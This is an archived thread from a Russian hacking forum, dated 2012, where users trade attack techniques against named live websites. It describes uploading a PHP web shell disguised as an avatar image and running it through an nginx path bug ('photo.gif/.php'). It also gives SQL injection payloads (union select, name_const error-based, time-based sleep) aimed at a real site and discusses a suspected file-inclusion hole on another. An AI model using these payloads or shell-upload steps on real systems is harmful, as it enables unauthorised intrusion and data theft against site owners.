ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
17.10.2012, 00:10
|
|
Guest
Сообщений: n/a
Провел на форуме:
10928
Репутация:
0
|
|
Сообщение от Sat-hacker
Sat-hacker said:
Можете подробней как в аватар добавить shellcod и как проинклудить?
Спасибо.
Вот держи архив, там картинки в форматах .gif,png,jpg
http://www.sendspace.com/file/xe1r2f
|
|
|
|
17.10.2012, 00:19
|
|
Guest
Сообщений: n/a
Провел на форуме:
0
Репутация:
-11
|
|
Сообщение от seozone
seozone said:
Да тут можно залить шелл без админки, через ngnix http://forum.simix.ru/favicon.ico/.php вот тут бага
создаёшь профиль на форуме заливаешь этот аватар
Код:
Code:
http://www.sendspace.com/file/f6xbz8
и открываешь ссылку на картинку site.ru/papka/photo.gif и дописываешь /.php Т.е site.ru/papka/photo.gif/.php Спасибо, а что с правами делать? ну всмысле, тут не всё правится
|
|
|
|
17.10.2012, 00:25
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937
Репутация:
0
|
|
|
|
|
17.10.2012, 00:27
|
|
Guest
Сообщений: n/a
Провел на форуме:
290351
Репутация:
173
|
|
Нет скули
Сообщение от None
?view=searched&search=1
'
&page=5&id=1
Есть скуля
Сообщение от None
?view=searched&search=
'
1&page=5&id=1
ответ
Сообщение от None
Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-10, 10' at line 1
Сообщение от None
?view=searched&search=1
+order+by+123--
+&page=5&id=1
и
?view=searched&search=1
'or(select*from(select(name_const(version(),1)),na me_const(version(),1))a)and(1)='
1&page=5&id=1
нет никакой реакций
что ещё попробовать можно? |
|
|
|
17.10.2012, 00:35
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937
Репутация:
0
|
|
to OxoTnik
У Вас инъекция в SELECT * FROM table_name WHERE column_name = 'bla_bla' LIMIT [SQLINJ]-10,10
Думая здесь ничего не поможет!
|
|
|
|
17.10.2012, 07:49
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от OxoTnik
OxoTnik said:
что ещё попробовать можно?
?view=searched&search= -10,10+union+select+x+--+&page=5&id=1
|
|
|
|
17.10.2012, 16:08
|
|
Guest
Сообщений: n/a
Провел на форуме:
178623
Репутация:
94
|
|
http://kvostava.us/modules/boonex/poll/index.php?aModule=
Вроде LFI, но ничего не получается.
|
|
|
|
17.10.2012, 17:06
|
|
Guest
Сообщений: n/a
Провел на форуме:
0
Репутация:
0
|
|
Задание по SQL inj
В универе дали задание раскрутить скули всего 10 тасков, не получается решить последний там time-based и просто форма, помогите пожалуйста https://alexbers.com/sql/lastlevel10.php
|
|
|
|
18.10.2012, 06:59
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от full_hate
full_hate said:
В универе дали задание раскрутить скули всего 10 тасков, не получается решить последний там time-based и просто форма, помогите пожалуйста https://alexbers.com/sql/lastlevel10.php
Код:
Code:
if ((substring((@@version),1,1)=5),sleep(0),sleep(3))
Дальше запрос сам составишь?)
|
|
|
|
18.10.2012, 16:00
|
|
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497
Репутация:
303
|
|
Сообщение от MaxFast
MaxFast said:
http://kvostava.us/modules/boonex/poll/index.php?aModule=
Вроде LFI, но ничего не получается.
Кто сказал, что LFI? Внимательно читаем ерроры и варнинги. Во первых, судя по тому, что при подстановке в GET запрос переменной из ошибки вида - http://kvostava.us/modules/boonex/poll/index.php?aModule не дает никакой реакции. Вывод - либо определяется локально в скриптах, либо в реквесте используется другая переменная , а в скриптах переопределяется на $aModule. В любом случае, неопределенная константа BX_DIRECTORY_PATH_MODULES - в пути к файлу не даст провести операцию. Более того, require_once(BX_DIRECTORY_PATH_MODULESclasses/View.php) явно повествует о том, что вследствии того , что она самая константа неопределена - скрипт не может подключить - константа/classes/View.php. Явно, что модуль, коим данный файл и является, использует константы и прочие данные определенные уровнем выше.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
